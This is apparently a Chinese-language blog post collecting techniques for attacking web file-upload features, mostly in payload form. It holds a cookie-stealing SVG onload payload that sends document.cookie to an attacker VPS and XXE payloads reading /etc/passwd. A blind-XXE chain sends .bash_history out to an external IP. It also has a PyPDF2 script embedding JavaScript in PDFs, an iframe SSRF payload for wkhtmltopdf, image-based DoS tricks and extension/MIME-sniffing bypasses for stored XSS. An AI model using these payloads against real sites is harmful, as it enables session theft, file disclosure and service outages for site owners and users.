Web攻防

文件上传利用Tips

2021-11-28  本文已影响0人  book4yi

本文仅作学习记录,如有侵权,请联系删除!

前言:


近两个月,学习进度严重滞后,身边的安全人却在不断内卷,我已经是个fw了。

SVG文件:


一个图片上传的接口,如果仅限制 HTML 格式的话也存在问题,因为图片中有一种特别的存在是 SVG 格式。SVG 是一种矢量图形格式,它使用 XML 来描述图片,在其内部我们是可以插入 <html>, <style>, <script> 等 DOM 标签的。如果不对 SVG 中的文件内容进行过滤的话,也会发生意想不到的效果。

在一张SVG图片里面插入一个JavaScript代码:

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
    <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />   <script>alert(1)</script>
</svg> 

用浏览器打开它会发现它会造成XSS,XSS之所以能够执行是因为遵循了svg及xml的标准。

触发缘由:

SVG是支持通过脚本语言来动态访问和修改SVG的任何内容,这点和HTML中的DOM类似,或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM,而这种脚本语言就是JavaScript,所以我们在SVG中插入JavaScript脚本是完全能够被解析的

利用场景:

假设存在一个能够上传SVG的WEB服务器,并且没有对SVG内容进行严格过滤,这就很有可能造成XSS问题

# 盗取管理员cookie
<svg/onload="document.location='http://vps-ip:1234/?'+document.cookie">

有回显的情况:利用上传SVG文件配合XXE去读取文件

Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

无回显的情况:先写一个简单的SVG图片源码放在vps上,保存为1.svg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [
<!ENTITY file "HELLO">
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&file;</text>
</svg>

提交SVG图片源码地址发现实体成功显示,然后我们尝试读取一下用户的history文件

利用原理:

利用到盲XXE来外带数据了,也就是通过加载外部一个dtd文件,然后把读取结果以HTTP请求的方式发送到自己的VPS

构造1.svg

<!DOCTYPE Note [ 
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
<!ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd">
%remote;
%start;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
        <text y="20" font-size="20">&lab;</text>
</svg>

构造xml.dtd:

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://ip:1234/?%file;'>">

把1.svg和xml.dtd放到我们的vps上,然后在我们的vps上监听1234端口,再在网页提交1.svg的链接即可成功读取到.bash_history

PDF文件:


利用条件:

1.有pdf文件上传点

2.保存好的pdf文件可以直接浏览器查看,而不是只能下载至本地。

from PyPDF2 import PdfFileWriter
file = PdfFileWriter()
file.addJS('app.alert("XSS");')
output = open('xss.pdf', 'wb')
file.write(output)

很多平台都会存在讲网页导出为pdf文件进行下载的功能。而常见点为:发票打印、行程打印、车票打印、保单下载等。而pdf转换工具很容易产生漏洞。

案例一:有平台保单定制功能,其中定制完保单信息,可以pdf导出。

数据包可知是通过前端传入姓名之类的信息到后端进行插入,导出pdf:

通过pdf的创建者可知是通过pdf编辑器wkhtmltopdf进行pdf文件的转换:

利用方式:<iframe+src="http://xxx.xxx.xxx.xxx/p/55a964/mIpS/">

图片:


1、Pixel floodattack:像素洪水攻击,需要准备一个5kb,260x260像素的图像。将260x260值改为0xfafa x 0xfafa(64250x64250像素)进行交换。图像一旦上传,服务器通过将“整个图像”加载到内存中,它会尝试将4128062500像素分配到内存中,从而充斥内存并导致DoS。

漏洞原因是一个负责上传和调整大小的部件Paperclip,由于给定的尺寸和实际尺寸不同,会使得处理图片时发生混乱。这个图片会让windows图片查看器在打开时发生同样的问题。

同样的问题还有Hackerone的一例:上传图片的限制为:图像大小1 MB,图像尺寸:2048x2048px;上传由40k 1x1图像组成的GIF则会造成dos攻击,原因在于未检查文件大小/(宽*高)的数值。

2、PNG 解压DOS:PNG文件由多个块组成,其中一个可选的辅助块称为zTXT(ztxt),此块允许使用zlib库存储压缩文本数据。

使用一个大小为50MB的文件,填充零,将它压缩到大约49 KB”,因此将大量数据存储在一个小的PNG(小于1 MB)。当发送给HackerOne时,会造成服务超时,这同样是Paperclip 的问题。

案例参考:
https://hackerone.com/reports/842462
https://hackerone.com/reports/764434

利用浏览器特性:


目前,大多数浏览器会检验完整的文件头,但 IE/Edge 除外。Edge 和 IE 浏览器在默认情况下,易受 MIME 嗅探攻击。简单来说,就是 Edge/IE 会检视文件内容,然后根据这点来设置访问类型。

基于此,在发现服务器设置了白名单上传后缀时,我们可以通过上传一个不带扩展名的文件或着存在特殊字符的扩展的文件,并且可以写入 html 代码,比如:123.''gif

若服务器返回信息类似如下:{ "result": true, "message": "/UploadFiles//zxcasdasdz13213.''gif", "code": 0}

结合 Edge 或 IE 的 MIME/Content sniffing 漏洞(微软并不认为这是漏洞),便可执行任意 JS 代码,成功获得一个储存型 XSS 漏洞!

Linux 是基于文件头和内容来判断文件类型的,我们可以通过向带有 HTML 代码的文件添加图片文件特有的文件头来迷惑服务器,从而达到文件上传绕过的目的。

异常后缀名文件:


在 Apache 网站目录下创建一个后缀名为.hhh的任意后缀文件,写入 XSS 测试代码:

GIF89a
<html>
<script>prompt(1)</script>
</html>

发现谷歌、火狐、IE、Edge均能解析其中的 JS 代码、触发弹窗。此处可以把后缀名改为.ht ml、.j pg(中间有空格)等格式,尝试绕过服务器的过滤并上传,也可触发 XSS 漏洞!

其他补充:


某些场景会把文件名直接回显在界面上,还有报错信息可能会包含上传的文件名,这样就可构造包含xss payload的文件名进行xss:

跨目录上传恶意js文件覆盖原js文件:

参考如下:


浅谈SVG的两个黑魔法
PDF解析器html/XSS 实现SSRF
文件上传漏洞另类绕过技巧及挖掘案例全汇总
【漏洞详解】基于文件上传点挖掘存储型XSS漏洞_gif

上一篇下一篇

猜你喜欢

热点阅读